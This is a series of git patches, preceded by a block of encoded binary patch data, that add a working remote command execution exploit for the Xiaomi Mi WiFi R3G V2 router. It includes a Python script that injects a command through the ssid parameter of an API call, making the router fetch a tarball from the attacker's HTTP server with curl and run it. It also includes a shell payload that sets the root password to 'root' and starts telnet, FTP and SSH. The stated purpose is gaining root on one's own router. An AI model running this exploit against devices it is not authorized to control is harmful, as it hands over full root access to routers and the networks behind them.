z447J&B`_;sx?tAB^uk17hG2HW?1nMGCmw|T7|bD=Lm>IB#o%+z}F`urC$~VZdhgKlyXj&UC->P@DMqGT;>M z`3UDj_mTp4M}b>Lz)$8B=;9=30%jLX2h5i&a|Sle5aQ5ZH;XetVSrXlbAr(LXPTyl zKR&bz|L9j@UW8u<{GH})Ku!@oO)!JvfOw0Wb+Gn}2ezGxe5Xg@1Kj2xJEqVK;S?F9 zW#>&;&75FPG>gqiGNEVmXLJpDu&m5Rr9M`p#@!bm{xAg_R^_JRtNNY~t64RW;Rput zNL;C$i7&$BQ>+#x^2N#}7s6Qow;zSi!uqi&syvW&DK}d}xUK)9TmYVVM>-V6NYoJ< z^kXWb=8J1X$#g^w^obCZR+u-YID>=EiaL-KIA0g%gqZw6+JG)3jLBVI?xKJIAq)aL zgmCJ)qz+56ZU~~eDRnNy;>towcXED~6gT=K=@8~rm{dX2huJM5IZDXUnrTWF9SQYA z*TOPv4x<)p(s=8)c)mb2V(CO6WKfh5ogAJM>A0M~ZpEB`(10uv$;W~ZgbvJGBU>>m z_HXuwBeK$+mNHDv=i3vpWU@|Whe=6v6X5;9I?5h$IEEsONsGK-N^Bry;H*6_p%JGk zh-SbO#``?#IF?{&hdOFhLh6I3UOT;!o z3&pvy=xkVHHLl$rRvmy>Yt$2M9O^7o8VOJagzJ3!StwQ{kZ;6J&RX-YJ)t2?D=DT+ zq%VWi!?qjr0|^ws(F{t3hE`1vg04iXH&Q~VBMKa(ke6ZBXLWF?=ObH5tk!@5aCP&Q$gts+JnW9ASX z-Lo*C3WTUhS)Nmd06shjxtzFEtpzDJ=|`7AM?lrshN{za=9HGmaS%BMMThJ*vJjBJ zQlO+kRz!BRJf^Hzq)k$$)yY(Js{B+hONy011XSTkqb~%qONLM<`HJ)t4N^(h=r@ ziT!*%M|oT7EL5Od7C|LKfP4sxn19QG_xlIQLq^B7`{sCok`Y*F5_ZJVWm_FeL8#x9 z>;Cq8VfP=!GA#ZAbq3)I*@?doQ!7O(ed+#w&QB#T%_G99F<1=*bWSSsSYWC0p6yD{ zFZGK4e(HS`hM~qvrzD%ovo?PO)S9i=Kg=Ci^C|utAJFYn2K& z&%|zk9@39BkU%IDR8;}r45tUt%FuU-n`Eg%3({Hr(5u3ED6+Lrd~R^70n*WVWy+WIG-*>=}(=I-q~@A>S={SW-v?!kxme^N>S z+I0P@@=F{uue|)CX~oXT6_?GJdPT{^(o4%GO>h-Wx!9Z_~qT!UvW zo*F#0)>CIa_14p1JyhkAlWdG)4h1G7m&>q{=Cz!5e*wRaa`jAdUxeFQvj%ri+=4K(Df9lX{JT~U;37B`1rb3`ugMJh;5dFqH z6r><_o93_*s${S`SfBe3N9)+j>-~wipMl}{!kk;`>Zsa6Zqf~%8wY=8-jEJLQvo{_ zkhZ6>Y2N$=3l}vnMzcWU$}k2oS}rrx+dbqR?|(f1d?}HZ*TWP?J=zqrslY?k{~~j? z)1aVS@Mz{t-H@2bdpgXbqOJk|@dcum%w%r~;R9?c-@*4VU2Y8)E@pa=kZ z>|iWK{gp-dbP9`=(*+xo*gx2teTiHIAVAm+=x?&=mXI#aHgfI#(}8d81-=>uRz7OReI~1FhoLFDjewwxR#WH7N_eFn;;okA}DNe|lf5 zSOR0`ZTr)&FwHmd{-u#t@in9^3esO<siQbbigXRAP9!^>9=Mp;P&m`rI-@| zmWEV_wpvm_8}<_@NxhXTcv#JW49J9~F4Yp2wX)nOx%-TDnp^$X#ygK-Z+>T7Ugw+7rd*SQDlAPmvH!s}jT+g^7!{m2mAFf~|JVkCD> z{d_vCSM0s9{5{I?)@!X|;OGB&=IK{k#c7z*e}qh6rcNOFrhkK{>{(@z% zM7+1*o`L+9z!2sr>@L{P!CsI2OW#BpVP?Qo!PLSmf$4x*3DW~}D@+h30^^Th7Z-lx z1AfsL@k3)3h^7(|5e#p{0I?CfmIkm^0)8W~h5>y{oT>%vJis6!u%!e3Lnz-nh3j`9WVx1Kx5Cxwa((jpm8({}*0{QESlivR?#7$eyKZ)U>J|lj z>jl#I!@O_19q~8(VK5&ayLX&m&Wc>FP=8t3#!;aIVZMIawJ9=)#*D_|cc@^Hz=uA0 zUHJGe0-rO*SxkG*z)<8D=KCk##|j2qG~+)@u%Go5PVv~!N$D_rM@L2Xje6tDS;u)^ zwuhQ#{qs4bBz&FHx16)pSFH$|SYk(|?K-8+6usuN%FpB?(b(tAOUw;NqB*S!D!aMD=4f2gru6(!Na_^2)qr*SQMNshzN@d6(d+t3pJse#UD5IIj zj+5~%;W{HS*^^^r^a`0C+71{xtLC)yv8t3cPZs1YG7}h3el1$`S@EKRl)uFV?p`E? zR13<0K+wd;e|lwn%wwzv!=kD~-1f0-4~T9UxWy6{YW*>ui#dND^E^kAgJ0J6*TkuZ z=^kzwo2rYL1eRDoJl1Rnt9qy9yU3nVc0Mf=lxJ4%&9{dY!M2$9usDT&GVZeKU~A@mTU4eh-MqK?65K6( zf5ZF$09NhBEg?Kl-Rn3vI!w!qez)=*Mv4|D;Cdg%dZrYV$@a5tmeHIt6R+CYzd2Qq z?#u$3Dx^Ovioyd^;Y<_OFx?k;h?;R9JO25BD#QZJqK)!TW=cH&LKmrE7!0J~nNZ+{ zvx7C5Vq+(da95UPcgX3dkknP2K}_o@7G{gc8uqKQ0i5}S<&}YIDvKQ`g)z>@75Y~J zE(_y+Tz5uB9HR$gR~c33f<87TVGpqBP#AsB9G0qqQ86+FV~c&5As1nISa|N0z$2#e zJjK?YqUt0ANJJNW5JToTCfkex7zZ;}$oL6nPzD&T!kg#j6=u5!g8=@&l5 z_OMpy`7zvQ!2{(}t{PUooV0zdKw9|b4T!#CG}a2jarXA(JQv1~gwBpl!$y0?^g#Z) zaP9?gnQ=;A5De$h!u}w8(FK26NK@u8g^2MUP_*rBmvnSi`EZhEZjcxoX`FYE82K5D z0ShJri-xpk1;Ulf-!2Dw{2B0+k9;y?x=MWFSfcvKBoM)&@}H8+9S)3nKp6ip)`DhX z4I?UhD&-2Yg$mesvT#ncQ_vh@JRBm*1)d6~t+oK=Vibz&ktbIj`>3^;z^oO;y{)Cp%4{Bf2{;Re_ zKcxMIc39h`AJL9#-_$;@KdF5||Bkj#e_H!X?HTQR+H=|uV7`yPA85~OKZJP!e?Qdz zR(lcV@9_7c_FL^;n193HyV~!xf7kw}cE9$X_N->;U)4VAION#n_zTD99ETmBcN}r- zcD(4=sRn%3q46%GH%SDtA`)*7|Gv zYB%YD+B>fb*50WP*505;YwyrwwOx9=cCDVMP1dGsH`m@(+oBKG`t*OReYf_`gIllq z!ol4K|MXx;|N6mx{dw2bbw6^|)opfcaeT#bOzd;K?0C@eW5*MYpE~wC{@(GBqifMRsZI}d-W#|{<;3t!R~KNb!KKv zbKX5;rgQs@O6QIlvz$9&?wK*y`PmtL&Ut1zG;6j>_oKr9pxpn@M+P0VcDHwO-ro+hu4j22 zrImV^+i%%=^KJNzuD(rd#j0{NhO>0(s91&Lay{5FeiM}SJp*a6JP{V%{uIN4{;dqA zg&0ZNh!s^X#7#&q05AkF=>#30#6srsP@h=kPl(od0yg}R(I?Xp(VE5%s8C$2fhulw zY%@0M1Qz1*62og2vPRYkQv@>s z22w>9gK-vPK^9{{7UMt`<3JW;LKd=F7DGqY1%oxbEEevvSU=2SF)fQ#vMiRyvY6;( z%VDr`nFT>-uY^J8&RzvG6Q%+N#e7P`rDMqd1oA(D{7)eN6UhGr@;`z6Payvj$o~ZL zKY{#DApf5r{}agn1V*OsYN8bIrGPI5eCf{;eId2yK%Vij_8-Lk$s~>=VBf=Lf1)9g zjy6P-fnbBR*N9`_@Oe{bcvj5BpZd9~=TlZ%aL9FitcLlqVTD@zo=>TL_zme~q9Hlp zPlOu&1Y7jEX{AA&@4?es`EVd%T@UUwtDlD*9Qbk1!>OYBrl2?XgOkA}Vrto#Zd`_a zC}oyfx3;XVzQN`4C>5X!TPj@h7r0zX%{$KT!g2imIIl$nZ!TLb6}x{xQXj1YF7vgP z$<_1gR&;){j9T3_;QTIItqZNL>lP?_o<7ieQyhOzq8vNFGgp$l7OWqkpJ1}{*D zP+3|3g@Fq~$~F$<-lVEF_m+2j8p>PyEowPpaXO&PO;{e51v2^2=c5>~4GbxDB8_}^ z8u<3#Fve|Hi{NXO6yPI$XcGm+ylo?!8>UJqv;PH_yJ0_g}y9?3J3pUBEMc zBjf-2jfXGKBEBx(etzlSmp^Zwc>b!pc^{N`=i~>7Z@zKzs@{o+Z@s_6ci&6c#V^B6 z^H(QtJDoxJ*|#OjdB0&ev%$=orBZK;W|-JwC{@b??$hTEziobEgJHf)RDn-QO{_#= z#W@Q1L?ddf9=P!g|DFNA`Wv`><~;g5Yw*{6PyX^}>F`qNmcM)%mahn~Z1Y~G$Z3J? zfeA#5Y_q(_hr1q@g|pk!G@nPCoa9`^GAAcnX+uA$Wn8Mpw%$l4t-^CDU|vNconmTP z2De}?#D{YoNWrSS*31U+sK=mxh5^cCv2=6t{axkzERs+zF1IB(sA5g`QIgIOn*wB2Ndyr}A#| zy;DpCn9n`KvP_E4sM6(v@{X2Vc6q;XTu9|S-yHU2NK3(d7UeiSGCDr9$ygdXD+Jvg z6lLX~F~7?mf;SbKpI0}?UU#-y`b&D0Gx!P>54SRBOvg#4B%fjEaY@I+axDU0!;oj1 zO>>F3>#nJ^!@iop4F|9~Ng$nI8;q_}O_uDgnzI z2)83x3|e9U9dp!k(vD=?z_#f?>&mesYx|;jXV0FMb2fA>BH=rzKk~@uVnwy+!1hOS zAMpULLcywzK)2-miYM^5g?>{^XzK9LJ?4=up_qil8?0DkDq8@L_CxVa=`;GL1?(N% z^gbDmzJr%xJBDd4QgBvV(BCRc){YZ9{SMHlazfGsnkv?Hh*pUdLAK!yiWeoHB*>!O+t<45Bp?h_!<75`7Gen19&xF za{Rmd)P?b9n%@O2GYt#Ud`k8oJJr0c!dr&n!y?=9hs&(^R(K8??{7dtkZI>r`EZwA z20&$$`&YS{Y@cT0STYr};ksYFJhK_kgm335D zt`wtu<;!@uWezehU!2jI+u?|Gp(s{PY|-J-ScFfDjg?`n3z!aYj8hhRa`{;Ba-?G# zP*0n7AS-Hzk84+aM7W|~q-j6nrt)E)qxs`R^e@e9w^O5?2R>;#PX>Qs{wvs)e4hQ) z$&+w=X2V%Y2+H##ep?WZ*c>@vPQrp2hDF0<7zje+Gi;i_|5=U;7M4u8Wu$R_fI9iu zK_eHSKi1=cbMKYx{Fev5{=j?h-EO{bPWcUt1)fg@qm$$Yqo{Lqtg&yIUsQ|C3)pRT za5E0QeidH|e_muB{*4fKP1iEF`n1gd*rbBsb$`rBDRN zXo66CwBjZzOrYDSBQZZfx2`bX*Ua}(>$`V}rQTgTaO6YGZMo&vU3UxYEiE{U$QxAx z4arcXzX3M^i1Omx1gxB{a#1cHm#Y{XaJRO_hK$XP_47RSjYjn~V%K)fw{(}dv#zFP zsVKD{q1mocw$L4=&Qeh{VWM7IivRorO^7Z=`Q*c-OD{&~q%od_uc8DICR=DbmmND#l6{l^T+~(N5?7ABnddXrvn!0R3K z;u=J6+>2|>yqmq=EnaWP>rHsQ0#|i)uI^ac$ZO4(8k2Yp%D4xDm`8U{GSw0fv;3@*)x;$F0Cd$F`a9#9| td6>qVUvHQC9H!5AA{@GIQFwN%`eout7Y2TJA4B}ng~_De_93M0e*wFl1+@SG literal 0 HcmV?d00001 diff --git a/http_file_server.py b/http_file_server.py new file mode 100644 index 0000000..499122d --- /dev/null +++ b/http_file_server.py @@ -0,0 +1,35 @@ +import socketserver +import threading +import time +import sys +import http.server +import socket + +class HttpFileServer: + def __init__(self, root_dir='.'): + HOST, PORT = '', 0 + self.server = socketserver.TCPServer((HOST, PORT), http.server.SimpleHTTPRequestHandler) + self.server.root_dir = root_dir + self.ip, self.port = self.server.server_address + + def __enter__(self): + self.run() + return self + + def run(self): + self.server_thread = threading.Thread(target=self.server.serve_forever) + self.server_thread.daemon = True + self.server_thread.start() + print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir)) + + def __exit__(self, exc_type, exc_val, exc_tb): + print("stopping local file server") + self.server.shutdown() + self.server.server_close() + + +if __name__ == "__main__": + root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1] + with HttpFileServer(root_dir): + while True: + time.sleep(10) diff --git a/remote_command_execution_vulnerability_v2.py b/remote_command_execution_vulnerability_v2.py new file mode 100644 index 0000000..0c6c0c2 --- /dev/null +++ b/remote_command_execution_vulnerability_v2.py @@ -0,0 +1,175 @@ +#!/usr/bin/python +''' +There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20. + +The script creates a payload, which is served via a local HTTP server, port 8000. The router +will download the payload, extracts it and executes the already known script. + +The busybox executable was removed from the firmware, so we have to include one, same with +dropbear for SSH. They will be in the payload, no other downloads necessary. + +Because of the changes, I've made a V2 version of the exploit, because the script was downloading +files by itself. + + +source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775 + +HOW TO RUN +Install requirements +pip3 install -r requirements.txt +Run the script +python3 remote_command_execution_vulnerability_v2.py +''' + +import os +import shutil +import tarfile +import requests +import sys +import re +import time +import random +import hashlib +import platform +import socket +import urllib.parse +import socket + +#------------------------------------------------------------------------------------------------------------------ +if platform.system() == "Windows": + sys.exit("Stopping: script can only be run on a Mac/Linux system") +#------------------------------------------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------------------------------------------ +# functions +# get_hosting_ip for the webserver request +def get_hosting_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(0) + try: + # doesn't even have to be reachable + s.connect(('192.168.31.1', 1)) + IP = s.getsockname()[0] + except Exception: + IP = '127.0.0.1' + finally: + s.close() + return IP +#------------------------------------------------------------------------------------------------------------------ +# get stok for router access +def get_stok(router_ip_address): + try: + r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) + except: + print ("Xiaomi router not found...") + return None + try: + mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0] + except: + print ("Xiaomi router not found...") + return None + key = re.findall(r'key: \'(.*)\',', r0.text)[0] + nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) + router_password = "12345678" + router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password + account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() + password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() + data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) + r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address), + data = data, + headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) + try: + stok = re.findall(r'"token":"(.*?)"',r1.text)[0] + except: + print("Failed to get stok in login response '{}'".format(r1.text)) + return None + return stok +#------------------------------------------------------------------------------------------------------------------ +# create_exploit_url creates the URL we use, to upload our payload and execute it +def create_exploit_url(http_port_number): + exploit_cmd = "cd /tmp && curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && tar -xzf payload.tar.gz && /bin/sh /tmp/script.sh exploit".format(hosting_ip, http_port_number) + print("exploit url: {}".format(exploit_cmd)) + exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") + print("exploit_code: {}".format(exploit_code)) + + exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code) + print("exploit_url: {}".format(exploit_url)) + return exploit_url +#------------------------------------------------------------------------------------------------------------------ +# checkHost - checks the host connection +def checkHost(ip, port): + ipup = False + for i in range(retry): + if isOpen(ip, port): + ipup = True + break + else: + time.sleep(delay) + return ipup +#------------------------------------------------------------------------------------------------------------------ +# isOpen checks ports on the router +def isOpen(ip, port): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + try: + s.connect((ip, int(port))) + s.shutdown(socket.SHUT_RDWR) + return True + except: + return False + finally: + s.close() +#------------------------------------------------------------------------------------------------------------------ +# BuildPayload creates the tar.gz we let the router download from out client +def BuildPayload(): + if os.path.exists("build"): + shutil.rmtree("build") + + os.makedirs("build") + + # Make tar + with tarfile.open("build/payload.tar.gz", "w:gz") as tar: + tar.add("script_v2.sh", "script.sh") + tar.add("extras/busybox/busybox") + tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") +#------------------------------------------------------------------------------------------------------------------ +def ExecuteInjection(): + from http_file_server import HttpFileServer + web_server = HttpFileServer("build") + + with web_server: + # upload and execute payload + print("start uploading payload file...") + payload_download = requests.get(create_exploit_url(web_server.port)) + print(payload_download.text) + +#------------------------------------------------------------------------------------------------------------------ +hosting_ip = get_hosting_ip() +http_port_number = 0 +router_ip_address="192.168.31.1" +router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address +hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip +stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") + +print("****************") +print("router_ip_address: " + router_ip_address) +print("stok: " + stok) +print("****************") + +BuildPayload() +ExecuteInjection() + +retry = 3 +delay = 1 +timeout = 3 + +if checkHost(router_ip_address, 22): + print("done! Now you can connect to the router using several options: (user: root, password: root)") + print("* telnet {}".format(router_ip_address)) + print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) + print("* ftp: using a program like cyberduck") +else: + print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.") + print("* Maybe your firmware version is not supported, please have a look at https://github.com/acecilia/OpenWRTInvasion/blob/master/README.md#unsupported-routers-and-firmware-versions") + print("* Anyway you can try it with: telnet {}".format(router_ip_address)) \ No newline at end of file diff --git a/script_v2.sh b/script_v2.sh new file mode 100644 index 0000000..defb32d --- /dev/null +++ b/script_v2.sh @@ -0,0 +1,68 @@ +#!/bin/ash + +set -euo pipefail + +exploit() { + setup_password + setup_busybox + start_telnet + start_ftp + start_ssh + echo "Done exploiting" +} + +setup_password() { + # Override existing password, as the default one set by xiaomi is unknown + # https://www.systutorials.com/changing-linux-users-password-in-one-command-line/ + echo -e "root\nroot" | passwd root +} + +setup_busybox() { + # kill/stop telnet, in case it is running from a previous execution + pgrep busybox | xargs kill || true + + cd /tmp + chmod +x busybox +} + +start_ftp() { + cd /tmp + ln -sfn busybox ftpd # Create symlink needed for running ftpd + ./busybox tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/messages 2>&1 & +} + +start_telnet() { + cd /tmp + ./busybox telnetd +} + +start_ssh() { + cd /tmp + + # Clean + rm -rf dropbear + rm -rf /etc/dropbear + + # kill/stop dropbear, in case it is running from a previous execution + pgrep dropbear | xargs kill || true + + # Donwload dropbear static mipsel binary + mkdir dropbear + /tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1 + + # Add keys + # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html + mkdir -p /etc/dropbear + cd /etc/dropbear + /tmp/dropbear/dropbearkey -t rsa -f dropbear_rsa_host_key + /tmp/dropbear/dropbearkey -t dss -f dropbear_dss_host_key + + # Start SSH server + /tmp/dropbear/dropbear + + # https://unix.stackexchange.com/a/402749 + # Login with ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc root@192.168.0.21 +} + +# From https://stackoverflow.com/a/16159057 +"$@" From 0cc4fce4e38eb23c761d516942fa67762c4d4b26 Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Sun, 30 Oct 2022 23:10:35 +0100 Subject: [PATCH 2/7] Execution of exploit testet. --- bootstrapper_v2.sh | 9 +++++ remote_command_execution_vulnerability_v2.py | 13 +++++-- script_v2.sh | 13 ++++--- test.py | 39 ++++++++++++++++++++ test2.py | 18 +++++++++ 5 files changed, 82 insertions(+), 10 deletions(-) create mode 100644 bootstrapper_v2.sh create mode 100644 test.py create mode 100644 test2.py diff --git a/bootstrapper_v2.sh b/bootstrapper_v2.sh new file mode 100644 index 0000000..f16613e --- /dev/null +++ b/bootstrapper_v2.sh @@ -0,0 +1,9 @@ +#!/bin/ash + +set -euo pipefail +cd /tmp +tar -xzf /tmp/payload.tar.gz +chmod a+x /tmp/script.sh +/tmp/script.sh exploit + +exit 0 \ No newline at end of file diff --git a/remote_command_execution_vulnerability_v2.py b/remote_command_execution_vulnerability_v2.py index 0c6c0c2..bd35616 100644 --- a/remote_command_execution_vulnerability_v2.py +++ b/remote_command_execution_vulnerability_v2.py @@ -88,7 +88,12 @@ def get_stok(router_ip_address): #------------------------------------------------------------------------------------------------------------------ # create_exploit_url creates the URL we use, to upload our payload and execute it def create_exploit_url(http_port_number): - exploit_cmd = "cd /tmp && curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && tar -xzf payload.tar.gz && /bin/sh /tmp/script.sh exploit".format(hosting_ip, http_port_number) + exploit_cmd = "cd /tmp && " + exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number) + exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number) + exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number) + + print("exploit url: {}".format(exploit_cmd)) exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") print("exploit_code: {}".format(exploit_code)) @@ -131,7 +136,7 @@ def BuildPayload(): # Make tar with tarfile.open("build/payload.tar.gz", "w:gz") as tar: tar.add("script_v2.sh", "script.sh") - tar.add("extras/busybox/busybox") + tar.add("extras/busybox/busybox", "busybox") tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") #------------------------------------------------------------------------------------------------------------------ def ExecuteInjection(): @@ -161,8 +166,8 @@ def ExecuteInjection(): ExecuteInjection() retry = 3 -delay = 1 -timeout = 3 +delay = 3 +timeout = 9 if checkHost(router_ip_address, 22): print("done! Now you can connect to the router using several options: (user: root, password: root)") diff --git a/script_v2.sh b/script_v2.sh index defb32d..177c35d 100644 --- a/script_v2.sh +++ b/script_v2.sh @@ -20,9 +20,9 @@ setup_password() { setup_busybox() { # kill/stop telnet, in case it is running from a previous execution pgrep busybox | xargs kill || true - + cd /tmp - chmod +x busybox + chmod a+x busybox } start_ftp() { @@ -40,15 +40,16 @@ start_ssh() { cd /tmp # Clean - rm -rf dropbear + rm -rf /tmp/dropbear rm -rf /etc/dropbear # kill/stop dropbear, in case it is running from a previous execution pgrep dropbear | xargs kill || true - # Donwload dropbear static mipsel binary - mkdir dropbear - /tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1 + # Unpack dropbear static mipsel binary + bunzip2 -f /tmp/dropbear.tar.bz2 + tar -xf /tmp/dropbear.tar + mv /tmp/dropbearStaticMipsel /tmp/dropbear # Add keys # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html diff --git a/test.py b/test.py new file mode 100644 index 0000000..d713728 --- /dev/null +++ b/test.py @@ -0,0 +1,39 @@ +from concurrent.futures import thread +import os +import shutil +import tarfile +import requests +import sys +import re +import time +import random +import hashlib +import platform +import socket +import urllib.parse + +def get_hosting_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(0) + try: + # doesn't even have to be reachable + s.connect(('192.168.31.1', 1)) + IP = s.getsockname()[0] + except Exception: + IP = '127.0.0.1' + finally: + s.close() + return IP + +hosting_ip = get_hosting_ip() +print ("ip: {}".format(hosting_ip)) + +from http_file_server import HttpFileServer +file_server = HttpFileServer("build") + +with file_server: + url = "http://{}:8000/build/payload.tar.gz".format(hosting_ip) + print("url: {}".format(url)) + r = requests.get(url) + print(r.text) +file_server.__exit__ diff --git a/test2.py b/test2.py new file mode 100644 index 0000000..b9f3714 --- /dev/null +++ b/test2.py @@ -0,0 +1,18 @@ +from concurrent.futures import thread +import os +import shutil +import tarfile +import requests +import sys +import re +import time +import random +import hashlib +import platform +import socket +import urllib.parse +hosting_ip = "192.168.31.2" +exploit_cmd = "wget http://{}/build/payload.tar.gz -O /tmp/ && tar -xzf /tmp/payload.tar.gz && sh /tmp/script.sh exploit".format(hosting_ip) +print("exploit cmd: {}".format(exploit_cmd)) +exploit_code = urllib.parse.quote(exploit_cmd, '') +print("exploit_code: {}".format(exploit_code)) \ No newline at end of file From 5c4551169ebd127834d715438bf6a3bdb5fa9d02 Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Sun, 30 Oct 2022 23:11:36 +0100 Subject: [PATCH 3/7] Delete test.py Testscript not needed --- test.py | 39 --------------------------------------- 1 file changed, 39 deletions(-) delete mode 100644 test.py diff --git a/test.py b/test.py deleted file mode 100644 index d713728..0000000 --- a/test.py +++ /dev/null @@ -1,39 +0,0 @@ -from concurrent.futures import thread -import os -import shutil -import tarfile -import requests -import sys -import re -import time -import random -import hashlib -import platform -import socket -import urllib.parse - -def get_hosting_ip(): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.settimeout(0) - try: - # doesn't even have to be reachable - s.connect(('192.168.31.1', 1)) - IP = s.getsockname()[0] - except Exception: - IP = '127.0.0.1' - finally: - s.close() - return IP - -hosting_ip = get_hosting_ip() -print ("ip: {}".format(hosting_ip)) - -from http_file_server import HttpFileServer -file_server = HttpFileServer("build") - -with file_server: - url = "http://{}:8000/build/payload.tar.gz".format(hosting_ip) - print("url: {}".format(url)) - r = requests.get(url) - print(r.text) -file_server.__exit__ From 996345221db8800a569093fd7ad5a642b160bcbc Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Sun, 30 Oct 2022 23:11:54 +0100 Subject: [PATCH 4/7] Delete test2.py Testscript not needed --- test2.py | 18 ------------------ 1 file changed, 18 deletions(-) delete mode 100644 test2.py diff --git a/test2.py b/test2.py deleted file mode 100644 index b9f3714..0000000 --- a/test2.py +++ /dev/null @@ -1,18 +0,0 @@ -from concurrent.futures import thread -import os -import shutil -import tarfile -import requests -import sys -import re -import time -import random -import hashlib -import platform -import socket -import urllib.parse -hosting_ip = "192.168.31.2" -exploit_cmd = "wget http://{}/build/payload.tar.gz -O /tmp/ && tar -xzf /tmp/payload.tar.gz && sh /tmp/script.sh exploit".format(hosting_ip) -print("exploit cmd: {}".format(exploit_cmd)) -exploit_code = urllib.parse.quote(exploit_cmd, '') -print("exploit_code: {}".format(exploit_code)) \ No newline at end of file From 9f7fc63ebf539dd11c2a6f1112e5f3e7f9354ec5 Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Mon, 31 Oct 2022 18:19:40 +0100 Subject: [PATCH 5/7] deleting the plattform check so it would run in WSL --- remote_command_execution_vulnerability_v2.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/remote_command_execution_vulnerability_v2.py b/remote_command_execution_vulnerability_v2.py index bd35616..e7be6ec 100644 --- a/remote_command_execution_vulnerability_v2.py +++ b/remote_command_execution_vulnerability_v2.py @@ -36,8 +36,8 @@ import socket #------------------------------------------------------------------------------------------------------------------ -if platform.system() == "Windows": - sys.exit("Stopping: script can only be run on a Mac/Linux system") +#if platform.system() == "Windows": +# sys.exit("Stopping: script can only be run on a Mac/Linux system") #------------------------------------------------------------------------------------------------------------------ #------------------------------------------------------------------------------------------------------------------ From 29b59b0a0e7332786bded56670cc15534c57130a Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Mon, 31 Oct 2022 19:05:31 +0100 Subject: [PATCH 6/7] Extended the retries and timeout for the port check, there is a racing condition if the router starts dropbear fast or slow somehow. The script was extended with logouts into /tmp/exploit.log - the script was executed multiple times in a row without dropping out too soon. --- remote_command_execution_vulnerability_v2.py | 6 +- script_v2.sh | 92 +++++++++++++++----- 2 files changed, 71 insertions(+), 27 deletions(-) diff --git a/remote_command_execution_vulnerability_v2.py b/remote_command_execution_vulnerability_v2.py index e7be6ec..1c7adcc 100644 --- a/remote_command_execution_vulnerability_v2.py +++ b/remote_command_execution_vulnerability_v2.py @@ -165,9 +165,9 @@ def ExecuteInjection(): BuildPayload() ExecuteInjection() -retry = 3 -delay = 3 -timeout = 9 +retry = 5 +delay = 5 +timeout = 20 if checkHost(router_ip_address, 22): print("done! Now you can connect to the router using several options: (user: root, password: root)") diff --git a/script_v2.sh b/script_v2.sh index 177c35d..0a6f8c3 100644 --- a/script_v2.sh +++ b/script_v2.sh @@ -1,65 +1,109 @@ #!/bin/ash +LOGFILE="/tmp/exploit.log" set -euo pipefail exploit() { + echo "start Exploit" >> $LOGFILE + echo "setup_password" >> $LOGFILE setup_password + + echo "setup_busybox" >> $LOGFILE setup_busybox + + echo "start_telnet" >> $LOGFILE start_telnet + + echo "start_ftp" >> $LOGFILE start_ftp + + echo "start_ssh" >> $LOGFILE start_ssh - echo "Done exploiting" + echo "Done exploiting" >> $LOGFILE } setup_password() { # Override existing password, as the default one set by xiaomi is unknown # https://www.systutorials.com/changing-linux-users-password-in-one-command-line/ + echo "setting password for root" >> $LOGFILE echo -e "root\nroot" | passwd root + echo "password set" >> $LOGFILE } setup_busybox() { - # kill/stop telnet, in case it is running from a previous execution + + echo "kill/stop telnet, in case it is running from a previous execution" >> $LOGFILE pgrep busybox | xargs kill || true - cd /tmp - chmod a+x busybox + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + + echo "chmod a+x to busybox" >> $LOGFILE + chmod a+x busybox >> $LOGFILE 